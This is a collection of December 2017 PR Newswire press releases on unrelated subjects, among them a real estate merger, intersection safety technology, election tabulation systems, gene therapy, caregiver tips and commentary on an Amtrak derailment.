VENICE, Fla., Dec. 19, 2017 /PRNewswire/ -- CENTURY 21 Almar & Associates today announced that it is joining forces with the Schmidt Family of Companies to enhance homebuyer and seller experiences on Florida's Gulf Coast. In addition, by merging together and continuing to operate under the CENTURY 21 brand, the two companies will now be able to offer more technology and learning products and services to their current base of affiliated agents as well as other industry professionals looking for a new place to call home.

"We are excited to represent CENTURY 21 in Venice and all of Southwest Florida," added Ken Schmidt, chief executive officer, Schmidt Family of Companies. "CENTURY 21 Almar & Associates, with Ed and Elizabeth DePaiva, is known in the market as a high-quality, professional company, and we couldn't be more proud of our affiliation."

"We're all about growth, innovation, learning, and delivering on our mission to defy mediocrity and deliver extraordinary experiences," said Nick Bailey, president and chief executive officer, Century 21 Real Estate LLC. "This merger will afford the Schmidt Family of Companies to leverage the power of the CENTURY 21 brand along with the local knowledge of CENTURY 21 Almar & Associates to better support their affiliated agents' individual growth, the company's overall business efficiency and the positive impact they have on the individuals and families in the markets they serve."

The Schmidt Family of Companies is a four generation, 90-year-old real estate brokerage firm, with a strong presence not only in Florida, but also Michigan and Ohio. The company's top priority has always been to expand and provide quality service to clients and the finest industry resources to brokers and agents. As such, they identified CENTURY 21 Almar & Associates as a strategic partner in Southwest Florida.

"We've had a successful 37 years as CENTURY 21 Almar & Associates and have established deep roots here in Venice, so it's great to see our hard work and dedication recognized by the industry," said Edward dePaiva, co-owner of CENTURY 21 Almar & Associates. "We're excited to start this next chapter with the Schmidt Family of Companies and together meet the needs of residential and luxury buyers and sellers in our region."

About CENTURY 21 Almar & Associates

CENTURY 21 Almar & Associates is a full service real estate company that has been serving the buyers and sellers of the Punta Gorda, Port Charlotte, Englewood, North Port and Venice Areas for nearly 30 years. The Venice office is located at 100 West Venice Avenue, Suite C, Venice, Florida 34285.

CENTURY 21 Almar & Associates is an independently owned and operated franchise affiliate of Century 21 Real Estate LLC (century21.com), franchisor of the iconic CENTURY 21 brand, comprised of approximately 7,700 independently owned and operated franchised broker offices in 78 countries and territories worldwide with more than 117,000 independent sales professionals.

Media Contact:

Lauren Nickl

MullenLowe for CENTURY 21 Almar & Associates

617.226.9766

[email protected]

SOURCE CENTURY 21 Almar & Associates
LAS VEGAS, Dec. 19, 2017 /PRNewswire/ -- Intersections and T-junctions are notorious traffic trouble spots. Many accidents, which occur at intersections, are due to human error. Problems such as lack of attention, misjudging the situation, and occluded cars or other vulnerable road users account for many accidents and road fatalities worldwide. In fact, according to the U.S. Department of Transportation, 51 percent of all injury crashes and 28 percent of all fatal crashes in the United States occur at intersections. Technology company Continental is committed to address those horrific statistics with its advanced driver assistance, Vehicle-to-X communications, and sensor technologies to turn today's dangerous intersections into safer, more intelligent intersections. The technology detects road users within a 360 perimeter of intersections and communicates the position and movement of these objects to all approaching vehicles, which are equipped with V2X technology.

The Continental Intelligent Intersection concept is an end-to-end solution: It comprises the complete sensor set for an intersection, the powerful sensor fusion algorithms which generate the environment model, and the Dedicated Short-Range Communication (DSRC) units, both at the intersection, and in the vehicle. One focus is on protecting vulnerable road users (VRUs) such as pedestrians and cyclists. Another focus is on supporting drivers in complex intersection traffic scenarios like preventing left-turning cars from running head-on into traffic that approaches from behind an occlusion.

The Intelligent Intersection technology was first demonstrated on a test track in October 2017 at Continental's development center in Brimley, Michigan (MI). The next steps include a broader test roll-out and pilot implementation of the technology at an intersection in the City of Columbus, Ohio.

"We are proud to contribute our Intelligent Intersections technology to a highly innovative city like Columbus as our contribution to the US DOT's Smart City Challenge," said Jeremy McClain, Head of Systems & Technology Chassis & Safety, Continental North America. "Our solution is based on transferring and adapting vehicle-proven hardware and software solutions to an infrastructure application. Cities will be able to deploy this technology to increase safety for their citizens and visitors alike. In the longer term the technology can also serve to improve inner-city traffic flow, thereby reducing travel time and vehicle emissions."

Intelligent intersections reduce the number of accidents due to human error

Sensor-based driver assistance makes driving safer and more comfortable with each step of advancement. However, pedestrians or cyclists, for instance, will only benefit from this technology if they can be detected by vehicle sensors. Often, traffic situations typical at intersections make that difficult. Other vehicles and city infrastructure can easily occlude vulnerable road users and even other vehicles. The underlying challenge is posed by effects like sensor shading and obstruction of view. By bringing vehicle-proven technologies to the infrastructure, Continental is addressing this challenge. "With the Intelligent Intersection technology we offer a new safety element with a perfect fit for future smart cities," said Bastian Zydek, Project Manager Intelligent Intersection. "The Intelligent Intersection is a showcase of collaborative safety and a further step towards reaching our Vision Zero  our vision of accident-free driving."

Early warning to the driver makes streets safer

Sensors such as camera, radar and Lidar are positioned at the corners of an intersection. They detect every road user in the area and deliver a list of relevant objects to a sensor fusion unit, which generates a comprehensive 360 environmental model. Relevant objects are then broadcasted via Dedicated Short-Range Communication to every vehicle approaching the intersection. A DSRC control unit in the vehicle receives the messages, then an onboard system checks it for relevance and triggers and appropriate action if a critical situation is recognized. "Active monitoring of intersections provides the driver and/or intelligent vehicle system a very important time advantage to take action, even before a problem would have otherwise become visible", added Zydek.

According to a study of the University of Michigan Transportation Research Institute (UMTRI) many thousands of accidents in the U.S. alone could be avoided through Intelligent Intersection technologies such as VRU protection and DSRC Intersection Safety Functions. The benefits of the Intelligent Intersection technology for V2X equipped vehicles is that each of those will benefit immediately from the Intersections Safety Functions  already when only a single V2X equipped vehicle enters the Intelligent Intersection - so from the beginning, even at an early phase of V2X penetration: "The cars equipped will help to protect other road users", said Steffen Linkenbach, Managing Director of Continental Safety Engineering International. Continental will also leverage of that 360 understanding of the traffic situation at intersections and upload such information into its backend. Here Continental will analyze and provide such data as a service enabling for example a better understanding of traffic flow and congestion. "In the future the granular understanding of traffic, like density, distribution of the traffic flow per lane and so on, which results from the Intelligent Intersection technology, can also help to improve the flow of inner-city traffic, supporting drivers and other road users with further new or enhanced services", added Linkenbach.

Continental at Consumer Electronics Show (CES) 2018

The Intelligent Intersection is also a topic at the CES 2018 in Las Vegas. Visit Continental at CES, Tuesday, January 9 through Friday, January 12, at North Hall Booth #6106. The Continental press conference will be held at Mandalay Bay, Level 2, Ballroom A at 10 a.m. on Monday, January 8.

SOURCE Continental

Related Links

http://www.continental-corporation.com


LOUISVILLE, Ky., Dec. 19, 2017 /PRNewswire/ -- ezDI announced today that it will provide The University of Vermont Health Network - Champlain Valley Physicians Hospital (CVPH) with a fully integrated suite of coding workflow software that includes ezDI's integrated Computer-Assisted Coding (ezCAC) and Clinical Documentation Improvement (ezCDI) applications to include complete encoder integration, a compliance module (ezAssess) and a business intelligence application (healthcare data analytics - ezAnalytics).

Champlain Valley Physicians Hospital Selects ezDI? for Computer-Assisted Coding and Clinical Documentation Improvement Software.

CVPH is a Cerner Soarian Health Information System (HIS) hospital where ezDI will deliver the CAC/CDI solution through the flexible, cloud-based platform that will enable CVPH physicians to effortlessly collaborate with Health Information Management, Coders and CDI staff, providing the highest degree of code assignment, clinical documentation integrity, and coding compliance.

"We are very happy to add Champlain Valley Physicians Hospital, another Iroquois Health Alliance member, to our Computer-Assisted Coding and Clinical Document Improvement customer base," said Terry Ciesla, Executive Vice President for ezDI. "We have had the privilege to provide our transcription services to CVPH since 2012 and we are looking forward to engaging with the CVPH team to bring simplicity to the many complexities found within a hospital's coding workflow."

About Champlain Valley Physicians Hospital

The University of Vermont Health Network - Champlain Valley Physicians Hospital (CVPH) is a 300+ bed facility and of a six-hospital network serving patients and their families in northern New York and Vermont.

Located Plattsburgh, New York, CVPH is an Iroquois Health Alliance (IHA) member hospital dedicated to providing patients with the best medical care possible in an environment that supports a patient's health and healing.

In 2012, CVPH Medical Center joined Fletcher Allen Partners in Burlington, Vermont to better collaborate with other area hospitals. In 2014, Fletcher Allen Partners became The University of Vermont Health Network, a six-hospital network serving patients and their families in northern New York and Vermont. CVPH Medical Center was renamed The UVM Health Network  Champlain Valley Physicians Hospital  honoring their proud past and bright future.

About ezDI, Inc.

Headquartered in Louisville, Kentucky, ezDI, Inc. focuses on developing healthcare IT solutions that leverage cutting-edge technologies including Natural Language Processing (NLP), Machine Learning, Semantic Web, and High-Performance Cloud Computing. The goal is to put operational data in the hands of healthcare professionals to help them proactively identify patients at risk, patterns in disease and treatment outcomes. ezDI builds intuitive healthcare IT solutions spanning Clinical Documentation Improvement (CDI), Computer-assisted Coding (CAC), Medical Transcription, Analytics, and more. ezDI has been named as one of the top 100 highly innovative companies at TiECon 2014 and ranked #1 in the Semantic Evaluation of Clinical Data (SemEval) competition for the year 2015. Website  www.ezDI.com

Media Contact:

Terry Ciesla, EVP

ezDI Inc.

866.473.5655

[email protected]

https://www.ezdi.com

12806 Townepark Way,

Louisville, KY 40243

Related Links

ezCAC Brochure

ezCDI Brochure

SOURCE ezDI, Inc and Champlain Valley Physicians Hospital

Related Links

https://www.ezdi.com


Throughout the year, the ULBGC has various needs it raises money for. At the Urban Holiday Benefit, guests were asked to "Buy a Bow"  each bow was $20, flashing bows were $100, and represented a contribution to support its Great Englewood Futures Start Here program.

According to its website, in 2015 the Union League Boys & Girls Clubs (ULBGC) began serving 100 youth in grades 3-6 at its Stagg Elementary Englewood Club, located at 75th and Morgan Street in the Englewood neighborhood. Youth residing in the Englewood community need more hope and more opportunities to build a bright future, and funding this goal brings more resources to one of Chicago's most neediest neighborhoods for youth and teens in grades 1-12.

"The Union League Boys & Girls Clubs is invaluable to the communities it serves. Especially today, and especially in Englewood, if there is any project we would and will continue to support, it is bringing trained educators, educational development, and character-building to the youth of Englewood," says Matt Farrell, managing partner, Urban Real Estate, and a trustee of the ULGBC.

ULBGC currently serves more than 13,200 enrolled members between the ages of 6 and 18 at eight locations. "The holidays are a wonderful time to support programs like these, but the reality is, they need our support year-round, as the real season of giving is 365 days a year," adds Michael Emery, senior partner with Urban.

Urban Real Estate contributes to local causes throughout the year, and supports its brokers in endeavors near and dear to them. For more visit us at UrbanRealEstate.com.

About Urban Real Estate:

Urban Real Estate is a full-service brokerage focused on integrating the most cutting-edge technology with the best of real estate to better serve its clients and agents. Broker areas of expertise include serving the downtown Chicago, north shore and western suburbs in residential sales and leasing. Urban brokers also focus on investment sales and portfolio management, luxury sales, distressed/short sales and working with international clients. For more information visit us at www.urbanrealestate.com or call 312-528-9200.

SOURCE Urban Real Estate

Related Links

http://www.urbanrealestate.com


Spark Therapeutics is a Philadelphia biotechnology company created in 2013 by CHOP in an effort to accelerate the timeline for bringing new gene therapies to market. Spark's mission was to build on the foundational research conducted over a 10-year period by CHOP's Center for Cellular and Molecular Therapeutics (CCMT).

"The FDA's approval of Luxturna highlights the vital role of pediatric research in developing breakthrough cures," said Bryan Wolf MD, PhD, chief scientific officer and chair of the Department of Biomedical and Health Informatics at Children's Hospital of Philadelphia. "Spanning the course of ten years, the research conducted at CHOP's Center for Cellular and Molecular Therapies laid the groundwork for this revolutionary gene therapy. Today, we are thrilled to see Luxturna approved for use, and we are hopeful that it is the first in a long line of groundbreaking treatments Spark Therapeutics will deliver to families in need."

Beginning in 2004, the initial research was conducted under the direction of then-CHOP-researcher Katherine A. High, MD, a gene therapy pioneer who directed the CCMT and who is now Spark's president and head of research and development. Dr. High was joined by Jean Bennett, MD, PhD, F.M. Kirby professor of Ophthalmology at the Perelman School of Medicine at the University of Pennsylvania's Scheie Eye Institute, and Albert M. Maguire, MD, a professor of Ophthalmology at Penn Medicine and an attending physician at CHOP, who served as a Principal Investigator of the therapy's clinical trials.

It is anticipated that the gene therapy will be administered at selected treatment centers in the U.S. by leading retinal surgeons, who will receive surgical training provided by Spark Therapeutics on the administration procedure.

Media Contact:

Emily DiTomo

Children's Hospital of Philadelphia

267-426-6063

[email protected]

SOURCE Children's Hospital of Philadelphia

Related Links

http://www.chop.edu


CHARLOTTE, N.C., Dec. 19, 2017 /PRNewswire/ -- In the second annual survey into consumer trends during the holiday, Charlotte research firm Voccii reports a more than 10% increase in shoppers who are spending less than in 2016.

This year, 28% of consumers said they would spend less  up from 17% who said they would spend less in 2016  an 11% swing. People who said they would spend the same as last year stayed steady at 30%, year on year.

Shoppers felt comfortable using their credit card slightly more often this year. Consumers who said they would use a mix of cash and credit card were 29% this year versus 22% last year. About 40% of shoppers this year said they will pay cash only, as compared with 49% last year.

The late Thanksgiving may have impacted shopping schedules: Two out of five respondents (43%) will finish their shopping by Dec. 18, and another 32% will finish before Christmas Eve. This year, a very few respondents finished their holiday shopping by the end of November versus the 17% who finished before or around December 1 last year.

What are shoppers planning to buy? "Hot" toys and tech gifts aren't actually hot at all. The majority of consumers do not plan to get them

But for trendy shoppers who made up 10% of respondents, the Fingerlings Interactive Baby Monkey and Hatchimals CollEGGtibles might be on their list, along with the Amazon Echo.

Consumers are planning to be "homebodies" during the 2017 season. Almost 6 in 10 plan to stay home. However, for the 35% who plan to travel, the roads are likely to be crowded. Almost 90% of holiday travelers plan to drive and travel destinations ranging anywhere from less than 50 miles to more than 500.

Family isn't the only holiday destination. One third of respondents have definite or tentative plans to travel for fun. Destinations vary from local/regional trips to exotic locales in Belize and Mexico.

Finally, consumers described their 'funniest' Christmas memories. Problems with the Christmas trees produced the most hilarity, followed by food disasters and then pet antics during the holiday. One respondent had a most provoking story with a mysterious line: "The cat in the pie incident."

SOURCE Voccii

Related Links

http://voccii.com


The event was a huge success; the world's most brilliant professionals flown in from all around the globe, to attend this spectacular event. The venue at the Ritz had spectacular views of the Statue of Liberty as honored attendees with their guests arrived on the red carpet. Some famous honored members included Thomas Girardi, Bert Fields, Barbara Guggenheim, the Honorable Retired Judge Arthur Burnett SR, the Honorable Judge David Herndon, Dr. Michael Stone, Marjorie Saulson and many others.

To end the night the famous Michael Feinstein stole the show and gave an incredible concert. The Cirami dynamic duo stated they were "so pleased how the night turned out that the pair were on cloud 9." Stephanie Cirami also stated that "it will be hard to top this one next year."

The International Association of Top Professionals (IAOTP) is an international boutique networking organization who handpicks the world's finest, most prestigious top professionals from different industries. These top professionals are given an opportunity to collaborate, share their ideas, be keynote speakers and to help influence others in their fields. This organization is not a membership that anyone can join. You have to be asked by the President or be nominated by a distinguished honorary member after a brief interview.

IAOTP's experts have given thousands of top prestigious professionals around the world, the recognition and credibility that they deserve and have helped in building their branding empires. IAOTP prides itself to be a one of a kind boutique networking organization that hand picks only the best of the best and creates a networking platform that connects and brings these top professionals to one place.

For More Information on IAOTP please visit: www.iaotp.com

CONTACT: Stephanie Cirami, 212-634-4427

SOURCE IAOTP

Related Links

http://iaotp.com


SHENZHEN, China, Dec. 18, 2017 /PRNewswire/ -- On November 23 and 24, China and Italy held a Cooperation Forum in Venice, Italy, for China's Belt and Road initiative to align with the development strategies of Europe.

Venice is a famous port city, and an important site of the Belt and Road entry into Europe. Nearly 200 people of political, academic and business circles from China, Italy, Turkey, Georgia and Azerbaijan attended the forum. Fan Gang, president of China (Shenzhen) Development Institute, and Paolo Borzatta, senior partner of The European House Ambrosetti, hosted and gave speeches as the representatives of the organizers - China and Italy.

In addition, the Chinese Ambassador to Italy, the Italian Ambassador to Georgia, the Azerbaijani Ambassador to Italy, former Venice Mayor and heads of the Italian Ministry of Infrastructure and Transportation, the Turkish Customs and Trade, the Asian Infrastructure Investment Bank, Export-Import Bank of China, and the Chinese Academy of International Trade and Economic Cooperation, Silk Road Fund, Venice Port Authority, Tianjin Port, Huawei, Hainan Airlines and CIMC were all invited to deliver speeches related to the Belt and Road, and discuss China-EU cooperation.

All the participants from China and Europe expressed their expectation with regard to further cooperation of interconnection between China and Europe, and also hoped to tap more opportunities for business and social cooperation, and to set up a better cooperation mechanisms.

Qin Gang, assistant president of CIMC, introduced CIMC's experience of overseas expansion as an example at the forum. With the theme of "bringing new business opportunities with new value", he emphatically introduced the practice and experience of how CIMC had explored globalization over the past decade.

He said that CIMC has adhered to the idea of "bringing new business opportunities with new value" to participate in global business cooperation, whether it was overseas business cooperation or foreign mergers and acquisitions. As a result, CIMC has been welcomed by business partners while benefiting from those businesses, because it has been bringing incremental value like markets, business platforms, capital, technologies, revenues and employment opportunities. The concept of "Global Operation, Local Wisdom" has been the focus for CIMC.

He hoped that CIMC, an early adapter to globalization in China, would carry out deeper cooperation with European partners under the Belt and Road initiative in the future, and also hoped that these experiences would bring more inspiration to China-EU enterprises.

CIMC was established in 1980, in Shekou, Shenzhen, where China started its great reform. The development of CIMC, reflects its integration with the international markets in technologies, markets, products, funds, talents, supply chains, services and so on. This has helped position CIMC as a leader in various fields. CIMC has become a multinational group with an annual output value of more than 600 billion yuan, providing first-class global logistics, energy equipment and services to the world. CIMC lead the world market with over 10 sub-sector products in 8 major business segments. CIMC has more than 300 member enterprises worldwide, its customers and selling networks spread all over more than 100 countries and regions, including more than 30 overseas enterprises, about 7,000 overseas staff members. Overseas earnings account for 60% of total revenue of the group.

Qin gang said that the slogan of CIMC is "Create, Make, New Value". The pursuit of globalization is consistent with this idea. Take Ziegler as an example. CIMC turned Ziegler into a profitable company in just over three years after its acquisition in 2013. In 2016, Ziegler's revenue grew by 26% YoY. In the past, 85% of orders came from Germany, but now more than 50% come from other markets. The same is true for German gas engineering company TGE, which belongs to CIMC's Energy segment. In 2008, this was a loss-making enterprise with only EUR 30 million in revenue. After the acquisition, CIMC helped TGE to undertake most of the LNG terminal storage tank projects in China, including more than ten 10,160,000 cubic meters of large cryogenic storage tanks in Ningbo, Zhejiang, Zhoushan, Shenzhen Dapeng and Jiangsu Qidong. In the past few years, TGE has rapidly increased revenue. Most of the enterprises acquired by CIMC have similar experiences.

"Whether Holvriekar in the Netherlands, Vanguard in the United States or other companies, their management cadres all told us that they were just normal managers of a local company; however, after joining CIMC, their role on the international operation platform has become more important, which greatly enhances their international perspective and sense of accomplishment," Qin Gang said.

Finally, Qin Gang indicated, With the deepening development of the Belt and Road in the future, we will have more opportunities to connect with Europe. CIMC is pushing forward the transformation and upgrading of products and manufacturing in accordance with the development ideas of Made in China 2025, and moving in the direction of automation, intelligence, digitization and green development. Germany is promoting its Industry 4.0, and Italy is also implementing its Industry 4.0 National Plan. I think we will have deeper discussions with European peers. All major equipment manufacturing parts of CIMC expect such technical exchanges can bring us innovative ideas. We also expect the industrial design level of Italy can help us to produce high quality products, but also products that contain more fashionable elements.

SOURCE CIMC
BOSTON, Dec. 19, 2017 /PRNewswire/ -- Jurisdictions in Oregon, Washington, New York, and Florida successfully conducted elections using Clear Ballot technology in 2017. The implementation of Clear Ballot technology significantly improved the efficiency and transparency of their election processes.

Clear Ballot's ClearVote voting system provides election officials with an easy and intuitive ballot layout process, a tabulation and reporting system that scans ballots with commercial off-the-shelf scanners, and a complete digital database of the election that includes visual verification of all votes cast. ClearVote's digital inventory of all ballots reduces ballot handling and provides the highest quality ballot images in the industry, allowing for more efficient and streamlined processes.

The ClearVote system was used to tabulate the vote of 65% of registered voters in Oregon, including the following counties: Coos, Douglas, Deschutes, Harney, Jackson, Jefferson, Josephine, Klamath, Lane, Linn, Multnomah, Wasco, and Washington. Additionally, ClearVote was used to tabulate the vote of 42% of registered voters in the state of Washington, including King and Pierce County. All Oregon and Washington counties reported successful and efficient elections using ClearVote.

Julie Anderson, the Auditor for Pierce County, Washington, expressed great satisfaction with the County's voting technology, stating, "ClearVote, purchased in early 2017, has exceeded our expectations! We've saved time, reduced expenses, increased accuracy, and improved transparency. Clear Ballot's support and communication have been outstanding. Clear Ballot's innovative election solutions have earned the trust and confidence of Pierce County's employees, political parties, voters, and candidates."

In Jackson County, Oregon, County Clerk Chris Walker said, "implementation of the Clear Ballot system has allowed us to streamline our workflow and find greater efficiencies during elections." She also noted that "by using a software-based system that tabulates ballots with off-the-shelf scanners, digital adjudication, and digital write-in capabilities, the citizens of Jackson County will see cost savings and greater efficiencies during an election cycle."

The New York counties of Clinton, Jefferson and Saratoga used Clear Ballot technology to count absentee ballots at a central location, and provide a digital database of ballots and the visualization of voter marks. The visualization of voter marks allows counties to establish voter intent with confidence.

Mary R. Dyer and Gregory B. Campbell, Election Commissioners in Clinton County said in a joint statement, "Clinton County is proud to have been the first County Board of Elections in New York State to use Clear Ballot's innovative ClearCount Central Scanning System and Audit Tool. They have greatly reduced the time, and increased the efficiency of our Absentee Ballot counting process. The system enhances the transparency of the vote counting process by allowing observers of the procedure to clearly see ballots with questionable votes or markings. Additionally, we have found the Clear Ballot staff very responsive in helping us learn and use their system."

In Florida, the counties of Bay and Nassau used Clear Ballot's audit technology, ClearAudit, to conduct automated, independent audits of election results. ClearAudit is the only technology that can read and provide automated, independent, tabulation of ballots produced by several voting systems, giving county officials confidence that election results are accurate and counted as cast by the voters. Additionally, counties have shown significant reductions in manual processes and election operation costs since adopting ClearAudit. Because of these savings, Florida counties conduct an audit of every ballot for every election, giving election officials, staff, candidates, and voters, confidence in election results.

Bay County Supervisor of Elections, Mark Andersen said, "I have been working with Clear Ballot since 2009 verifying our election results. ClearAudit gives us absolute comfort providing an independent validation of election results and a digital inventory that no other system provides. Clear Ballot has allowed us to become more efficient, transparent and cost-effective."

Clear Ballot is pleased with the success of its customers. "We are extremely proud of the way our technology performed in Oregon, Washington, New York and Florida," said Larry Moore, CEO of Clear Ballot. "All counties have reported significant improvements in speed, performance, and efficiency. We look forward to many more jurisdictions finding success with voting solutions from Clear Ballot."

About Clear Ballot:

Clear Ballot is the leader in election innovation. We have introduced a new class of tools and a modern approach to voting, enabling unprecedented speed, accuracy, and transparency that officials and the voting public have sought for decades. Designed for ease-of-use, Clear Ballot's browser-based software, used in conjunction with commercially available scanning hardware, scales to election jurisdictions of all sizes, and responds directly to the budgetary realities of counties and municipalities. Our election technology has been used in six states, and is in the process of federal certification.

Contact

Hillary Lincoln

Clear Ballot

617-842-5127

[email protected]

SOURCE Clear Ballot

Related Links

http://www.clearballot.com


BALA CYNWYD, Pa., Dec. 19, 2017 /PRNewswire/ -- Context Capital Partners, a leading alternative investment specialist firm, today announced that Mohamed A. El-Erian, an internationally recognized expert on the economy and finance, will be the featured speaker for the Context Innovator Series at the upcoming Context Summits Miami 2018 event. Context Summits is the preeminent producer of investment summits for the alternative asset management industry and will bring together leading minds from across the alternative asset management industry to discuss the opportunities and challenges facing today's investors.

Dr. El-Erian is currently the Chief Economic Advisor at Allianz, the corporate parent of PIMCO where he was CEO and Co-Chief Investment Officer (2007-14). The author of two New York Times bestsellers and named four times to Foreign Policy's list of the top 100 global thinkers, he is a Financial Times and Bloomberg columnist, having also served as Chair of President Obama's Global Development Council (2012-2017).

During the Context Innovator Series, Dr. El-Erian will address a targeted audience of the more than 2,000 qualified institutional allocators and alternative investment managers expected to be in attendance at Context Summits Miami 2018, scheduled for January 31-February 2, 2018. Ron Biscardi, CEO of Context Capital Partners, and John Culbertson, CIO of Context Capital Partners, will lead the fire-side chat style interview on the first day of the event.

The moderated Q&A will be followed by an audience Q&A.

"Mohamed has experience at the highest levels of business and government, and his market insights regularly make waves throughout the alternative investment community," said Ron Biscardi. "We look forward to the valuable insights he will provide to the attendees at Context Summits Miami about the complex issues facing the global economy and the challenges of effective monetary policy."

"Our events bring together allocators and fund managers for two days of highly targeted and productive, prescheduled one-on-one meetings, and we are pleased to also offer attendees an exclusive opportunity to hear from some of the greatest minds in the industry," said Mark Salameh, CEO of Context Summits.

In 2018, Context Summits will host four events around the world. Following Miami 2018, the next two events will be Context NYC 2018, scheduled for April 17 at Center415 in New York, and Context Summits Europe 2018, scheduled for May 14-16 at the Hotel W Barcelona in Barcelona, Spain.

To learn more about the line-up at Context Summits Miami 2018, please visit https://www.contextsummits.com/miami.

About Context Summits

As the preeminent producer of events for the alternative asset management industry, Context Summits focuses on elevating the conference experience through an innovative format and structure where relationship building leads to unmatched results. A pioneer of the one-on-one 'summit' format, Context Summits utilizes an innovative approach to deliver effective and transparent networking events that elevate the conference experience for managers, allocators and investors. Through its systematic approach, Context Summits is able to attract high quality attendees, making meetings efficient and productive. For more details, please visit: http://www.contextsummits.com.

About Context Capital Partners

Context Capital Partners, LP is a leading alternative investment specialist firm headquartered in Bala Cynwyd, PA. Through direct and indirect partnerships, Context provides seed capital, marketing, distribution, operations and infrastructure support to top-tier alternative asset managers. Context's focus is delivering superior investment solutions to institutional investors and family offices by launching and expanding low correlation investment products that deliver clear edge. For more information about Context Capital Partners, please visit www.contextcp.com.

Contact:

Nick Rust

212.279.3115 ext. 252

[email protected]

SOURCE Context Capital Partners

Related Links

http://www.contextcp.com


DENVER, Dec. 19, 2017 /PRNewswire/ -- DaVita Kidney Care, a division of DaVita Inc. (NYSE: DVA), a leading provider in kidney care services, celebrates the estimated 44 million care partners who care for friends, family members or others this holiday season. Care partners are friends or loved ones who help with treatment.

There are over 700,000 Americans with end stage renal disease (ESRD), many who require support with their kidney care. Being a care partner for someone with chronic kidney disease (CKD) can be a difficult and time-consuming responsibility.

DaVita has a few tips to share for care partners:

Live a healthy lifestyle  With your intense focus on the care of a loved one, remember your own health as well. Good nutrition, exercise and rest may help you better cope with the demands of caregiving.

Take time for yourself  The role of care partner takes a lot of time. It's important to squeeze in activities just for you: going for a walk, reading a book, coffee with a friend, etc.

Be open and real  Acknowledge and discuss the difficult aspects of your role with your loved one, your loved one's doctor, a social worker, a friend or a clergy member.

Have a support team  A support system can give you a boost in meeting the challenges of being a care partner and make you feel less alone in your role. Reach out to family and friends for their support, and/or join a support group specifically for care partners.

Consider care-sharing  Consider training a family member or friend to join you as a care partner for your loved one. Hiring a part-time caregiver may be another option for sharing the responsibility.

Look into respite care  Respite care provides a temporary stay for your loved one at a senior community, assisted-living facility or the like. Whether it's for a few hours while you run errands, during a vacation or just for a much-needed break, respite care can be beneficial to both you and your loved one.

For more information or additional resources for care partner, please visit www.davita.com.

About DaVita Kidney Care

DaVita Kidney Care is a division of DaVita Inc., a Fortune 500 company, that through its operating divisions provides a variety of health care services to patient populations throughout the United States and abroad. A leading provider of dialysis services in the United States, DaVita Kidney Care treats patients with chronic kidney failure and end-stage renal disease. DaVita Kidney Care strives to improve patients' quality of life by innovating clinical care, and by offering integrated treatment plans, personalized care teams and convenient health-management services. As of September 30, 2017, DaVita Kidney Care operated or provided administrative services at 2,470 outpatient dialysis centers located in the United States serving approximately 196,000 patients. The company also operated 230 outpatient dialysis centers located in 11 countries outside the United States. DaVita Kidney Care supports numerous programs dedicated to creating positive, sustainable change in communities around the world. The company's leadership development initiatives and social responsibility efforts have been recognized by Fortune, Modern Healthcare, Newsweek and WorldBlu. For more information, please visit DaVita.com.

Media Contact:

Abby Domenico

[email protected]

(303) 876-7274

SOURCE DaVita Kidney Care

Related Links

http://www.davita.com


PHILADELPHIA, Dec. 19, 2017 /PRNewswire/ -- Two of America's foremost legal authorities on railroad catastrophes, Thomas R. Kline, Esq. and Robert J. Mongeluzzi, Esq., sharply criticized Amtrak and Congress after the National Transportation Safety Board(NTSB) last night confirmed that Amtrak Train #501 was operating at nearly three times the speed limit when it derailed.

Mr. Mongeluzzi, of Saltz, Mongeluzzi, Barrett, & Bendesky, P.C., and Mr. Kline, of Kline & Specter PC, said they were not surprised to hear NTSB officials confirm that the train was traveling at 80 mph in a 30 mph speed-restricted curve, nor that the Amtrak equipment was not equipped with Positive Train Control (PTC) that is designed to override the engineer and ensure safe operation. "We saw this happen on Amtrak Train #188 in Philadelphia in 2015, when the train was going more than 100 mph in a 50 mph zone, with no PTC to save lives," said Mr. Mongeluzzi. "Clearly, despite all the post-incident cries for safer trains, more loved ones on their morning commute have now been killed in this foreseeable and preventable tragedy in Washington. The federal government needs to stop postponing the date for full PTC implementation, and compel prompt compliance. "

Mr. Kline, noting that PTC technology has been around since the 1970s, but its implementation delayed by Congress over the past decade, stated, "Delay has become synonymous with deaths. It is inexcusable that this new Amtrak line  on its first day in service  was operating without PTC. How can Amtrak explain not only the train's inexplicable speeding, but also its catastrophic safety failure to the family member of any of the victims? "

Mr. Mongeluzzi and Mr. Kline both served on the Plaintiffs Management Committee (PMC) in Federal court resulting from the fatal 2015 derailment of Amtrak #188 in Philadelphia. They represented a combined 34 passengers in the litigation that resulted in a landmark $265 million settlement. The attorneys also represent victims in the 2016 fatal derailment of Amtrak #89, in Chester, Pennsylvania, and victims of the fatal New Jersey Transit train crash in Hoboken Station last year. Mr. Kline and Mr. Mongeluzzi have long advocated for railroad safety reforms such as mandatory Positive Train Control (PTC), onboard-inward facing cab cameras and expanded medical testing for train Amtrak personnel, including engineers.

Robert J. Mongeluzzi

[email protected]

215.850.6571 / 215.575.2989

www.smbb.com

Thomas R. Kline

[email protected]

215.407.1360

SOURCE Kline & Specter, P.C. and Saltz, Mongeluzzi, Barrett & Bendesky, P.C.

Related Links

http://www.smbb.com


HOUSTON, Dec. 19, 2017 /PRNewswire/ -- Direct Energy, one of the largest energy and energy services providers in North America, has logged more than 12,844 volunteer hours by 2,976 of its employees.

The company originally set a goal of hitting 10,000 volunteer hours, but the goal was surpassed largely due to Hurricane Harvey when 618 Houston employees volunteered over 2,330 hours in supporting their local communities.

Direct Energy employees also donated 1,430 hours to Children's Miracle Network Hospitals (CMNH), a charity partner. 595 employees volunteered and participated in 55 activities supporting the needs of 6 CMN Hospitals across the country, including 306 employees who volunteered 587 hours and participated in 31 activities benefiting Texas Children's Hospital here in Houston.

"This is a fantastic goal to meet as a company, and for the communities we serve across North America," said Jim Steffes, Direct Energy's executive vice president of Corporate Affairs. "Direct Energy is proud to be a company that gives back. These volunteer hours reflect our customer approach: to make a difference in people's lives."

For more information about Direct Energy, go to www.directenergy.com.

About Direct Energy

Direct Energy is one of North America's largest retail providers of electricity, natural gas, and home and business energy-related services with over four million customers. Direct Energy gives customers choice, simplicity, and innovation where energy, data, and technology meet. A subsidiary of Centrica plc (LSE: CNA), an international energy and services company, Direct Energy, its subsidiaries and/or affiliates, operate in 50 U.S. states plus the District of Columbia and 4 provinces in Canada. To learn more about Direct Energy, please visit www.directenergy.com.

http://www.facebook.com/directenergy

http://twitter.com/directenergy

http://www.youtube.com/thedirectenergy

http://blog.directenergy.com/

SOURCE Direct Energy

Related Links

http://www.directenergy.com


